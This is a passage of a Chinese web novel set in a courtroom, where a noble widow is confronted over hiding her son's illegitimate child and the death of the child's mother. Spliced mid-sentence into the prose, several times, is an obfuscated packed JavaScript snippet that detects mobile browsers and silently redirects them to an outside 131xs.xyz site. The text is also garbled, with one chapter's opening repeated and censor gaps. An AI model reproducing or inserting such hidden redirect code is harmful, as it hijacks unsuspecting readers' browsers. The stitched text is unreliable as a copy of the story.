有这么两个能人在,还都是能不顾颜面的,他们定然不肯私下解决,说不定还要闹大,闹得越大越好。 经过夏庸和楚氏的一番劝说之后,夏明月自然明白了当中的利害,她现在已经不得不承认这孩子是必须认下了的,因为只有认下,才能说明李玦跟逼死吕大姑娘没有关系。 可是让她这样一个孩子,她心里就跟塞了一堆铁石一样,是万万不愿意的,她这口气总得有地方出。如今看来,就是出到何夫人身上最合适。 正好,要是没了这个婆母,或是这个婆母不顶用了,连带着端侯府里的那些个借住的亲戚也能一并赶走,以后整个侯府就是她的天下了,那位何小娘也一样会落到她手里! 而且这么做,李玦还没法子怪到她头上,因为何夫人是自己犯了官非了,是咎由自取,是被法办的,她最多就是幸灾乐祸了一些,他还能把她怎么样? 更何况,夏明月也清楚何夫人手里应该是还有些东西的,也正是用这些东西支持着李玦往前走。要是何夫人不在了,李玦少了他母亲这个助力,还不得更加倒向他们夏、楚两家? 如此算计下来,夏明月根本没有盼着何夫人好的理由,她能在认下孩子这事儿上听从父母的话就不错了,别的实在不该指望她。 这孩子毕竟还小,又是个无依无靠的,进了府之后也会由着他摆布。一边是一个孩子,另一边是老谋深算还讨人厌的婆母,她当然知道怎么选。 于是,当何夫人还想抵赖,说那孩子是她捡来收养的,并不知道是吕家之子,而张礼岁说出了李氏男子小脚趾盖儿的特征时,夏明月主动开了口。 “咦,大人说的这个特征似乎还真是这么一回事儿,的确,夫君他脚上就是这样的,还有姑母……之前她瞧病时我也看到过,我还说这是不是什么病症,要不要上药呢。” 夏明月装作很惊讶的样子,还捂了一下嘴才道,“原来是这是会在子嗣中流传的啊,那这孩子也有?夫君,要不你去看看吧,咱们可不能白替别人养孩子。” 这是在说这孩子的生母当初就不干净,谁能说这孩子一定是李玦的?她本就看不上这孩子,这话顺口就说了出来。 吕冠瑛心里气得要命,可谁让她阿姐当初的确是在那种地方认识李玦的呢?这种事儿她根本辩不清楚,只能朝着夏明月瞪眼。 夏明嫣从后面拉了吕冠瑛一把,摇了摇头,示意她别急。 夏明月这样羞辱吕大姑娘,反而说明她是要认下这孩子了,她这么说也是不想让李玦疑心她想要借此扳倒何夫人。 昨晚夏明月在夏家待到很晚才会端侯府,回去才把这孩子的事儿和外面的传言都跟李玦说了,李玦当时惊讶得嘴张得能塞进去一颗鸡蛋。 他从来没有想过他会和一个烟花女子有个孩子,他那日在吕家铺子里见到了吕大姑娘不假,见她做妇人装扮,他只以为她是赎身嫁人了呢。两个人也就是互相点了下头,算了账,别的什么都没说。 谁能想到吕大姑娘给他生了一个孩子,这三年来不仅没到府上闹过,甚至连养孩子的银钱都没管他要过。 听闻这样的消息,李玦纵使对吕大姑娘没什么感情也是多少有些感怀、佩服的,谁知他只是愣了愣神儿的工夫,就被夏明月一阵发作。 好在夏明月颇爱他这副容颜,没打到脸上,都打在身上了,弄得他身上现在都是青一块儿紫一块儿的。 夏明月不知脚指甲那特征是传下来的,可是李玦自己知道,尤其那还是个男孩儿,他当时就知道这要是真的,他是狡赖不掉的。又闹 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他此前也的确不知情,没来得及为华靖和洗清冤屈也不能怪他,言下之意这里面要有事儿也是别人的问题。他也很无辜,而且他现在认下孩子了,也向他们致歉。 能认下这孩子,就是给了孩子良籍了,这边吕家的气也能平一半儿了,张礼岁刚想把话转到吕大姑娘的命案上,就听到何夫人在那边叫了起来。 何夫人指着那孩子道:“不是这样的,不是,张大人啊,这孩子有这样的特征,只能说他是李氏之人的后人,可不说老家那边的,就是我们端侯府这一支也有着许多的族人,谁知道这孩子是哪一个的?” “就算我儿三年前糊涂,与那贱妇有过关系,可是那样一个贱妇,谁能保证其他族人就跟她没有关系?不能说那贱妇留了绣帕,绣了我儿的诗句就说他是我儿的骨血啊!” 第301章不能辩驳 何夫人这话说的不无道理,就算这是李氏族亲的孩子,她看不过眼,不想孩子流落在外,替他们认了回去,让这孩子叫他一声祖母也不为过。 她不知道的是,这种可能夏明嫣和华靖离也早就想到了,哪里容得他抵赖。 张礼岁拿着华靖离、夏明嫣给他的证据,煞有介事地道:“关于这一点,本官早有证据。何夫人,你若不是觉得这孩子是你的亲孙儿,何苦让观里的姑子供了老端侯的八字和这孩子的八字一起祈祝?” “里面的姑子可是说了,这孩子刚到观里时受了惊吓,像是丢了魂儿了,是她们提出在家族长辈中找一个压得住的直系至亲之人一起供奉,可以安这孩子的神魂,你才这般做的。” “老端侯只有李世子这么一个儿子,更不曾有别的孙儿,你不是认了这孩子是你的亲孙子,又何苦这么做?” 何夫人还想狡辩:“这自然不是直系祖孙……是我实在找不到其他八字更重的了,才想到了先夫,就是一时间凑和了。” “是么?老端侯在世时你便与他伉俪情深,他过世后,更是守寡多年,就连当年先皇后有意做主让你改嫁他人你都不肯,你会拿他老人家的八字去给一个族亲的子孙安魂?” 张礼岁冷笑道,这也太能糊弄他了,是想把他当傻子耍啊,还好他已经拿到了证据,这时候他也不抗拒说这些证据是他们元京府自己查到的了, “还有,要这不是你的亲孙儿,你为何想要私自藏匿她,还害了吕大姑娘的性命?本官刚才命人查了你们李氏族亲过去的一些事儿,有类似情况的,你们可最多就是出了几十两银子帮忙平事儿,哪里干过这样的事儿!” 要是亲戚家出了这种事儿,无论要不要把孩子认过来,作为嫡支还有爵位的家主,最多也就是出银子,或是命令对方该怎样处理。 要不是关系特别亲近的,哪有理由帮着人家安置子孙,还害了人家生母性命的? 别说远的亲戚了,就是亲侄子、亲侄女,也没有插手到这般地步的,这么做的,只能是亲儿子、亲孙子。 何夫人脸色一白,昨晚一知道这事儿被发现了,她就派了人出城去观里查看,今早天一亮派去的人回来说那孩子和照管他的道姑都不见了,她就大叫不好。 要说这事儿是华家和元京府自己发现的,说实话她不大相信,可她也不知道是身边的人漏了消息出去。 今日果然元京府派了衙役来传她,还逼着她来了,她原还想狡赖一番,没想到他们连这孩子的特征是怎么来的掌握了。 可是她还不想认,因为她自信没人能找到杀了吕大姑娘的人,因为那人已经被她派人结果了,只要死无对证,这件事只能成为一个悬案。 而且这样反而更好了,她借机认回了一个孙儿,她完全可以说是为了平息这件事,直接让这孩子当个名正言顺的庶子,还能放在何雨萍也就是她的亲侄女名下。 只要挺过今日这一关,情况反而会更好! 何夫人定了定神儿:“大人这说的是哪里话?好,我承认,这孩子的确是我儿之子。只是他的生母当初那般出身,我儿只是因为酒醉,与她有过那么一次,她机缘巧合之下才有了身孕的。” “我儿才新婚,我不想让这孩子夹在他们夫妇之间在惹了误会出来,这才想着把他藏在外面。本来我也是想过要给吕家那便捎个信儿的,这样也省得那个贱妇心急之下报了官去。” “可谁知道我派去的人刚到吕家门口,就听说那贱妇想不开自尽了。我倒是可能是因为丢了孩子,她才一时想不开自尽的,便没敢再找上门去。” 她转而看向吕冠瑛,“你就是孩子的姨母吧?你该知道怎样才是对孩子好的,你应该能理解,这孩子的生母没了,其实你们不知道他的去向,让这孩子由我照管着长大反而更好,对吧?” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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本来么,何夫人只是需要一个能握在手里的傀儡,将来拿他跟夏明月的孩子打擂台,根本就没想过这孩子能有什么大作为。 第302章怨母 何夫人既想利用这孩子,又打从心底里轻贱这孩子,所以他只想把这孩子当成一个提线木偶,但凡这孩子还有别的法子在人前展现自己,她都不愿意。 她如此安排,一看就是短期内没打算去接那孩子的,一个外头回去的孩子有没有好好养倒是没那么重要,可她这样安排,说话也前后不一,明显居心不良。 这时那孩子也缓过来些了,看见何夫人也想起那天的情形了,他躲在吕冠瑛身后,探出头来怯生生地说道: “她说他是我祖母……说我娘是坏女人,不让我回吕家去,还说……我再也不会见到我娘和姨母了,我娘不是坏女人!” 何夫人说她派去的人到了吕家大门口才知道吕大姑娘自尽了,可她实际上早在这孩子面前就说过他见不到他娘亲了,众人看向何夫人的目光更加异样起来。 何夫人摆着手,手忙脚乱地道:“不,不,我没说过这些话,他这么小,说谎或是记错了也是有的,你们不能信他的话。” 张礼岁看都没看何夫人一眼,只问李玦:“李世子,你与吕大姑娘究竟在一起了多久?你若是有半句虚言,就别怪本官不客气了!” 何夫人才不理会张礼岁的态度,着急着为她儿子辩解:“没有多久,最多就是露水情缘,你说是不是?阿玦,你快说话啊。” “母亲,您让儿子自己说,您在旁边歇一歇,事情总能说清楚的。” 李玦心里也急,可是他越是要表现出自己是不知情的,表面上就越要冷静,更何况在这件事上,他的确冤枉,他是真不知道啊。 这种时候只能把事情认下,过程越短越好,不要再作过多的辩解。辩解会在给对方新的盘问机会,对方问了他还得答,一招一式地问完、答完,这件事就完全被摊开了。 他不想把自己摊开来放在这些人面前,本来他就没有错,还要被这些人问得一点秘密都没有,他这性子到底尴尬了些。 他早已习惯了好名声给他带来的好处,虽然他一直把这种名声上的展示当作一种武器,可一旦被人公开剥开,他心里还是会痛的。 这一点,华靖离比他要现实,本来华家就是沙场上征战、刀口上舔血的家族,这样的家族想的更多的是自己的生死和别人的生死,名声和虚名这些东西对他们来说都是次要的,这种时候他们自然更豁的出去。 李玦现在还拿不准,他不知华靖离这时是已经彻底看透了他,还只是因为这次的事儿会祸及华家的名声,让他动了气。 其实连李玦自己都不知道事情是怎么发展到这一步的,他跟华靖离相识时,他只是想跟华靖离相互帮助,一起不被元京的那些宗师和高门子弟欺负罢了。 后来,他发现华靖离已经比他强上许多,而且越来越强的时候,他便想着能不能靠着华靖离多得些提携,然他也有一个好前程,有机会却建功立业。 可是华靖离没有应承他,更没有主动提起,说什么沙场上刀剑无眼,让他好好读书,考取功名。那时候他也曾经想过听他的话,毕竟论文采,以科考入仕这条路的确更适合他。 但现实是冰冷的,他的确有了举人功名,可再想更进一步,却不是那般容易的一件事,就算他考上了进士,也难登三甲,即便他中了前三甲,也依旧前途未卜。 他多想华靖离这时候能提携他一下,明明有了举人功名就已经能够派官了,只要安排得当,去一个能够做出成绩的地方,将来一步步地升上去也不见得就比考中前三甲的差。 可是别人不肯帮他也就算了,偏偏华靖离也不肯帮他,明明是动动嘴的事儿,在北疆给他安排一个位置,能有多难?可他就是不肯,说这样走捷径不好。 呵,什么不好,分明就是不愿意让他出头,让他超过了他去。他华靖离还有家门可以依靠,他李玦有什么,明明已经做了结义兄弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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凭什么?从前她做那么多,不也是为了让他过得更好、让他封王拜相吗?为什么这一次就不能对他再好一点,再为他多着想一点? 还有,何夫人为什么会去动吕大姑娘,她真的只是为了想要湮没这件事而去灭口的么? 何夫人了解李玦这个儿子,李玦同样了解这个母亲,何夫人根本就是不容许她这个母亲之外的人与他这个做儿子的太亲近罢了,刚巧吕大姑娘又有过那么一段过往,在她看来这就是玷污了他了。 按理说何夫人这么做,也是为了他考虑的,可他并不这么觉得,他已经受够了她的管束。他都多大的人了,连一个外头的、无足轻重的女人都不能自己处理,这是把他当成什么了? 李玦憋着一肚子的气,先在众人面前一揖到底,整个腰都弯折了,然后以退为进地说出一番诚恳的话,想让张礼岁不再追究胖的事: “回大人,那时我的确与吕大姑娘有过一段缘分……那时我因家中之事心中郁结,便在她那儿住过月余,此后便已分开,再无往来。” “但在那之后她也并未带话与我,我便不知她怀有身孕并将这孩子生了下来。说来她一个弱女子想来不敢来纠缠侯府公子也是有的,是我考虑不周,才发生了这样的事。” “我愿意认回此子,并且昨日我也与夫人商议过,让此子作为庶子入府,也算全了他生母生前遗憾。至于我母亲,或许她认为孩子的生母名节有失,不能入端侯府为妾。” “可她也只是看不惯而已,我相信她不会做出害人性命之事,还望大人明察。母亲,您说,是这样么?” “月余?你跟那女子在一起竟有月余之久?” 何夫人哪里相信她一向高洁的儿子,竟然能跟那样的女子在一起这么久,这已经不是心理不痛快出去玩玩儿的事儿了。 可她这时也冷静了一些,因为李玦已经在用目光警告她不要再闹了,眼下最要紧的是把这人命官非压下去。 要是她被坐实了这罪名,不仅她自己会获罪,还会连累李玦的名声和前程,甚至袭爵之事也会被搁置。 她定了定神,镇定地开口,“没错,我只是不想那女人进门,我才对这孩子说他再也见不到他的生母了,并没有旁的意思。” “大人也出身世家,应该知道对于这种事、这样的女人像我们这样的家族是如何处置的,我这么安排,没有错。” 她还转头对那孩子说,“我的好孙儿,你不懂,你有这样的生母在身边,对你没有好处,你得被她连累一辈子。我如此安排,都是为了你好。” “就算把你的生母接进府去,或是给你们安排了隔上一段日子就见上一面,你就觉得她能好了?就是亲戚朋友的那些唾沫星子都能把她淹死。” “其实她这么走了也是件好事,说明她还知道羞耻,知道给自己孩子留一个好名声。你现在还小,长大了也就明白了。” 这些话虽然视人命如草芥,可在高门之中何尝不是这个道理,什么话是对是错,也得看是在什么环境里说,看是什么人说的。 可是这些道理对于一个三岁的孩子来说,根本就不能理解,他听了只感到害怕,哇的一声就撕心裂肺地哭了起来。 吕冠瑛恨不得扑上去撕了何夫人的嘴,可她毕竟是一个商贾之女,又不止要姑息自己的性命,为了家人,哪里敢真就把何夫人怎么样? 明明杀害她亲姐的凶手就在眼前,可是为了自己外甥的将来考虑,她真就不敢轻举妄动了。因此她只能握紧了拳,用指甲使劲儿地掐自己手心,双眼血红地瞪着何夫人。 倒是夏明月这时候暗暗地白了何夫人一眼,淡淡地道:“我婆母有没有做这件事,要看证据,可不能靠推断。不过这件事要是解释不清楚,这孩子进了府也是个麻烦。” 说着她还挑事儿似的看向吕冠瑛,“别误会了,一个孩子而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696514|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已,加副碗筷的事儿,我还不至于容不下。只不过要是这件事说不清楚,等他长大了,要是怀疑是自己的祖母杀了他的生母,这该如何相处,这日子该怎么过?” 这倒是个正理,夏明月难得说了句有道理的话。 别说把这孩子养废了就行了的话,就算这孩子将来只会抡大锤,是个没脑子的武夫,或是一个手无缚鸡之力的废物,也能一锤子把人抡死,或是下包耗子药把人咬死。 可是话又说回来了,其实在场的人都心知肚明了,这件事九成九的与何夫人脱不了干系,即便没有证据,在论述和质证中也能听出端倪来,区别只在于能不能定罪罢了。 就算不能定罪,回头刑部甚至宫里问起张礼岁来,他若是回答一句“虽无实证,跟依臣所见此事与何夫人脱不了干系”,那么也是一样的。 现在的局面就是说多错多,少说才能少错,尽量不说才好,可夏明月这分明就是在说,管他有没有证据,先分析一遍再说。 李玦看了夏明月一眼,加重了语气道:“夫人,母亲不过是个内宅妇人,自我父亲去后,日子又过得多有不顺,平日里多抱怨几句也是有的,哪里就真有了什么嫌疑。” 他又转身对华靖离道,“义兄,这孩子自然与华二弟无关,小弟自当认回,他日再摆上几桌薄酒向亲朋有人说明此事,定然不会让华二弟和华家惹上污名,你看如此可好?” “家母之事实在是无稽之谈,我听说吕大姑娘并非自尽而亡,在她自尽之前已经**身亡。我母亲不过一介内宅妇人,哪里又有那样的手段了?” “要为孩子的生母讨个公道,还需要另外寻访,但无论如何都不在我母亲身上。义兄,你就帮我说句话吧。母亲年纪大了,实在禁不起这样的折腾。” 都到堂上这么久了,张礼岁都不曾拿出实证来,那应该是没有了吧?只要华靖离说句话,这件事只能当做悬案处理。 第304章不想认也不行 倒是夏明月这时候暗暗地白了何夫人一眼,淡淡地道:“我婆母有没有做这件事,要看证据,可不能靠推断。不过这件事要是解释不清楚,这孩子进了府也是个麻烦。” 说着她还挑事儿似的看向吕冠瑛,“别误会了,一个孩子而已,加副碗筷的事儿,我还不至于容不下。只不过要是这件事说不清楚,等他长大了,要是怀疑是自己的祖母杀了他的生母,这该如何相处,这日子该怎么过?” 这倒是个正理,夏明月难得说了句有道理的话。 别说把这孩子养废了就行了的话,就算这孩子将来只会抡大锤,是个没脑子的武夫,或是一个手无缚鸡之力的废物,也能一锤子把人抡死,或是下包耗子药把人咬死。 可是话又说回来了,其实在场的人都心知肚明了,这件事九成九的与何夫人脱不了干系,即便没有证据,在论述和质证中也能听出端倪来,区别只在于能不能定罪罢了。 就算不能定罪,回头刑部甚至宫里问起张礼岁来,他若是回答一句“虽无实证,跟依臣所见此事与何夫人脱不了干系”,那么也是一样的。 现在的局面就是说多错多,少说才能少错,尽量不说才好,可夏明月这分明就是在说,管他有没有证据,先分析一遍再说。 李玦看了夏明月一眼,加重了语气道:“夫人,母亲不过是个内宅妇人,自我父亲去后,日子又过得多有不顺,平日里多抱怨几句也是有的,哪里就真有了什么嫌疑。” 他又转身对华靖离道,“义兄,这孩子自然与华二弟无关,小弟自当认回,他日再摆上几桌薄酒向亲朋有人说明此事,定然不会让华二弟和华家惹上污名,你看如此可好?” “家母之事实在是无稽之谈,我听说吕大姑娘并非自尽而亡,在她自尽之前已经**身亡。我母亲不过一介内宅妇人,哪里又有那样的手段了?” “要为孩子的生母讨个公道,还需要另外寻访,但无论如何都不在我母亲身上。义兄,你就帮我说句话吧。母亲年纪大了,实在禁不起这样的折腾。” 都到堂上这么久了,张礼岁都不曾拿出实证来,那应该是没有了吧?只要华靖离说句话,这件事只能当做悬案处理。 是不是何夫人害**吕大姑娘其实与华家无关,这吕家人又跟华家没有关系,并不是一定要为吕家出头的。 况且李玦觉得自己都把姿态放得这么低了,如此卑躬屈膝,华靖离还想怎样呢? 他们毕竟没有真正地撕破脸,他想取代华靖离的心思还没透露出来,行动上更是什么都没有做过,华靖离没道理抓住这件事不放啊。 华靖离先跟夏明嫣交换了一记眼色,之后皱着眉,像是经过慎重思考之后才道: “何夫人也是我的长辈,我自是不愿相信她会做这样的事的。可是这是公堂之上,我相信她没有用。我看不如这样,既然何夫人那日派人去过吕家,要不把那人传来,让他说说在吕家门前都看到什么吧。” “或许也能为吕家提供些线索,能够帮助他们早日找到真凶也是好的。贤弟,你别这么看着我,华家军征战在外,若是没有那些个百姓和沿途的商贾相助,也不见得就有今日之功绩。” “吕大姑娘生前虽有些不好,可那也是因缘际会所致,不是她的错,到底是一条人命,又是孩子的生母。弟妹的话很有道理,你既然要认下这孩子,就不该让这孩子心理落下疑惑,还是说清楚的好。” “义兄说的是。”李玦皮笑肉不笑地道。 他心里已经把华靖离骂了个遍,他不过是想要华靖离一句话,哪怕把这件事暂时按下来,大家都先回去,让这件事冷却下来。 这元京的事儿,一桩接着一桩,过不了几日便是御青书院的擢选了,很快就会有新的消息和流言传出,谁会一直记得这件事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696515|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只要把这件事拖冷了,再寻个人顶了罪就是,说到底不过是一个曾经沦落到那种地方的小商贾之女,谁还会真的把她的命放在心上? 华靖离这么说,就是非要纠缠出个结果了,这是要为了华靖和这个上不得台面的庶弟来寻他这个义弟的不是了? 到底都是姓华的,关键时候一条心,而他到底是个外人,指望不上他。 好在,直到现在他都相信这些人手里没有实际的证据,不管是什么样的怀疑,只要没有证据,他们端侯府今日就能全身而退。 外面传的再厉害又能如何?不过是说些难听的话罢了,他心里也不是很在乎这些话,之后只要他能在擢选上表现得好一些,那些人就又会说冠玉公子是如何的品德高洁,如何的风光霁月了,谁还会记得这么一件事? 即便那些人会记得这件事,这些事也是何夫人的,也是夏明月的,独独不是他的,他还可以是被母亲和妻子坑害了的。 人们最多会说他的母亲和妻子蠢笨、狠毒,而他是可怜的那个,还能让世人看到他有多不容易,还能收获更多的同情。总之,只要过了今日,他就有办法翻盘。 既然华靖离如此不给他留情面,那就别怪他了,等他忍辱负重地到北疆走一遭,立功受赏,他早晚能找到机会从华靖离这儿把他失去的全都夺回来! 李玦这样想着,就对何夫人道,“母亲,不知那日派了谁去?把他叫来跟张大人和义兄说清楚吧,也算解释了他们的疑问了。” 何夫人这时候哪里还能安排了妥帖的人去,因为那日她根本就不曾派了谁去,就是现在叫个人来说谎,也怕跟那日吕家门前发生的事不一样,那反而会露馅儿。 何夫人只能道:“那时候我只觉得丢脸,便没叫家里人去,就知道女观门前随便叫了个人去看看。那人……肯能是个轿夫,可能是个干体力活儿的,我哪里就记得这么多了。” 第305章故意揭婆母的短 夏明月左看看、右看看,脑子里飞快地转着,她想判断选择帮哪一边更有利。 昨日楚氏和夏庸自然是劝她帮着何夫人的,毕竟已经是一家人了,有什么事儿都应该关起门来解决,等何夫人下了这公堂,哪怕她想法子让李玦冷了他这个母亲呢。 这样的话,李玦还能念这她识大体,说不定正好就把中馈交到她手里了,长远来看是有好处的。 可是这样的安排,夏明月并不满意,楚氏和夏庸自己是长辈,便让她敬着何夫人这个长辈,可让她留着何夫人压在她头上,她得多难过啊。 况且百足之虫死而不僵,要是事情过去了,李玦又想起他这个母亲的好来,再把她给放出来,那还得了? 要说儿媳从婆母手里接过中馈千难万难,但要说婆母想从儿媳手中收回中馈却常常是几句话的事儿,她不想给何夫人翻盘的机会。 可要是何夫人栽了,李玦的前途又会受到影响……要是影响了袭爵,可该怎么办,她可就当不成侯夫人了。 而且这样的话,李玦后面的命运会不会改变?前世就是这个时候夏庸帮忙说话,让李玦袭了爵的,但严格来说并不是真正地袭了爵,而是在这爵位上跟圣上打了一个赌。 圣上与李玦、夏庸约定了一年之约,只要李玦能在北疆立功,这爵位就会一直是他的,可若是不能,一年之后爵位和爵产都会被收回。 若是能达到圣上的要求,不仅爵位是他的,他可以好好地做他的端侯,还能将他派往南疆任职,他要是再做得好,那边可以着手准备重建李家军。 这之后才有了夏明嫣运作,求了一户从前战功赫赫、中间已经退下来多年的老将,在北疆照应着李玦,立下了大功,才将这条路走稳了。 若是因为何夫人的原因,影响了李玦袭爵,之后还能不能如期去北疆了? 尤其这一世,李玦没有去求什么老将,而是直接找上了华靖离。这时候要是坐实了是何夫人害了吕大姑娘,那就是说陷害华靖和的事儿就跟端侯府直接关联在一起了,华靖离还会安排李玦和华靖和一起同赴北疆吗? 如果没有了这些,他将来还能搭上东宫,被封为异姓王吗?还能有之后的地位吗?她夏明月还能当上端王妃吗? 夏明月现在最怕的就是前头一点点地变化引发后面的巨变,可是要是让何夫人挡在她前面,一直压着她,她又不愿意。 上一世,何夫人可是七年后才过世的,这中间在端侯府一直作威作福,别说夏明嫣了,就是李玦那时的正室邓澜,这人还是何夫人的外甥女呢,也一样受她的欺负。 夏明月原来还不觉得有什么,她自认比夏明嫣出身好、有靠山,性子上也比夏明嫣招人喜欢的多,她嫁进端侯府,定然是会受到上上下下的喜爱的,这里面当然也包括何夫人。 可是等到她实际嫁进去之后,她才发现完全不是这么一回事儿,何夫人对她充满敌意,就像防贼一样地防着她,就是对何雨萍,何夫人也不甚和善。 这要是让她忍下去,七年,万一何夫人也变得更长寿了,就算李玦后头封了王了,她可能也活不到那时候。 思索再三,夏明月还是决定先顾着自己,就算华靖离反悔不安排李玦去北疆了,不是还有那对儿老将父子么?夏明嫣上辈子能买通他们,她也一定可以。 何况还有楚家,就算眼前李玦受了影响了,之后也还有机会再找补回来,反倒是眼前彻底扳倒何夫人的机会实在难得,她实在没有必要一直受那窝囊气。 夏明月做了决定,又是为难又是委屈地道:“自己的夫君成亲前跟外头的女人有了孩子了,哪个做妻子的心里都不舒服。可是我如今见了这孩子了,看着他小小年纪就没了亲生母亲,也着实可怜。” “我这心里也不好受,我一个内宅新妇,也不知道外面发生了什么。可是仔细想想,婆母也的确有些奇怪。自我进门之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696516|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,她像是不盼着我生下孩子似的。” “还说什么,我即便生下了孩子,也不会是个乖顺、懂事的,她指望不上。我还想着是不是我哪里惹了婆母不快,如今看来竟是她在外面已经有了乖顺的孙儿了。” 那道姑说,何夫人只让这孩子识字、听话,这可不就是养个体现木偶出来么,都是傀儡了可不就乖顺了么? “我……我何尝说过这种话?你诋毁婆母,这是不孝!阿玦,还不管管你妻子。”何夫人怒道。 李玦也皱了眉,虽然没有表现出来的那般情深意重,可他的确是对夏明月有感情的,可是夏明月进门以后的举动却让他大失所望。 他从前喜欢夏明月的率直和小性儿,可他总是以为成亲之后,她是会跟他一起成长、担负起端侯府的未来的,至少她可以在他面前使她的小性子,可是在府里的其他事情上,她应该展现出她大家闺秀应有的素养。 楚氏就很会打理夏家的内宅,不说她有什么贤淑、慈和的美名,她虽然素来以严厉著称,可是这么多年下来,也没有人说过她的不好,跟府里的妾室以及夏家的族亲也都至少能维持得住面上的和乐。 楚氏打理中馈更是算计得十分严整,以夏家这样的寒门家底,楚氏这些年硬是让他们的日子过得比那两代积攒的勋贵都不差什么了。 反观夏明月,跟婆母和亲戚都相处不来,中馈虽然还没有交到她手里,可是李玦也试探过她了,她懂得并不多,这一点连夏明嫣之前赏花宴上展现出来的都不如。 李玦那时候就开始明白成婚前何夫人跟他说的那些话了,要不是有婚约在,这夏家两姐妹都不是良配。 嫡长女夏明嫣,人强命不强,人再有本事,独木难支,托不起端侯府的前程。 嫡次女夏明月,人不强命强,好处是有人帮扶、靠山大,坏处就是帮她的人不可能随时随地、无休无止地帮她,她自己的时候就得指望别人。 第306章成也情,败也情 而且夏明月这样的人性子骄横、难相处,要想指望她一辈子捧着他那是不可能的。 李玦那时候还说可是夏明月对他一往情深,一旦发生了什么大事,她定是护着自己的,何夫人当时是怎么说的? 何夫人说了,夏明月好就好在对李玦一往情深,坏也坏在这一往情深四个字上,有句话叫做情深不寿,就是说着感情太深了也不见得是件好事。 因为这种能在感情陷得太深的人,在别的事儿上也容易感情用事,以他们端侯府的过去和现在来说,实在不该要一个感情用事的人。 况且何夫人很怀疑夏明月对李玦的感情究竟有多深,她觉得夏明月是那种顺境中跟他千好万好的人,可到了逆境时却不能共患难。 要不然怎么当初第一次定下婚书时,夏明月并没有激烈地反抗过夏家人呢? 后来就算她力主换亲,可是楚氏那日下午刚到端侯府来商议,傍晚就收到了华靖离**重伤的消息。这未免也太巧了,夏家是有能力提前得到消息的,这事儿根本就不可能巧合。 李玦当时觉得何夫人想太多,或者就算夏明月提前知道了消息,那么之前她一个弱女子不得不屈从于父母之命也是人之常情,人性上适当的软弱是可以被原谅的。 可是李玦近来是越来越看透夏明月了,他开始意识到其实何夫人说的都对,他只有在那条能让夏明月做侯夫人、奔向荣华富贵的路上走着时,夏明月对他才是真心实意的。 但凡有个不好,走了背字了,达不到她的要求了,她就会迫不及待地离开他、避免被他牵连。 就是现在在公堂上,她不想着他和何夫人跟她是休戚与共的一家人,不想着如何一致对外,先把罪名洗脱下来,等到回去再谈别的。她现在想着的还是如何打压自己的婆母,甚至想让自己的婆母从此消失。 李玦心里有一团烈火熊熊燃烧起来,他再爱夏明月,夏明月也比不上他的母亲,老端侯去后,他是跟母亲相依为命地长大的,他们之间是真正的血脉至亲。 除非再有人与他一起多次历经生死考验,否则没有人能够真正**他跟母亲之间。 或许母亲平日里严肃了些,因为年纪大了,也变得更加挑剔起来,很多时候他也会感到厌烦,可是他始终没有也不会忘记他们是亲母子。 李玦压着心里的火儿,尽量不动声色地让声音里带着一丝薄怒警告着夏明月: “母亲只是不想给你压力,跟你说笑呢。她这不也是不想你觉得你一旦有了孩儿就要抱到她那里养么?你不可误会了母亲,先与大人说清楚了,咱们回去再说。” 他的语气里甚至带了几丝哀求,“明月,咱们的孩子以后如何教养你说了算,好不好?还有这个孩子,也教给你养。母亲年纪大了,也不方便让她继续辛劳了。” 李玦如此说便是要将中馈一起交到夏明月手里了,这步以退为进不可为办得不漂亮,可是夏明月不想让何夫人有死灰复燃、**倒算的机会,又哪里就会答应了。 夏明月好似听不懂似的,反而来问李玦:“夫君,我们的孩儿在哪儿还不知道呢,我如今只想在府里住得安心些,不要晚上歇息都醒着神儿。” “婆母她把这孩子带走藏匿,还说了这么些话,相互佐证之下,就真的都是巧合吗?夫君想到这些,我舅舅不寒而栗,睡都睡不着了,哪里还能想那些。” 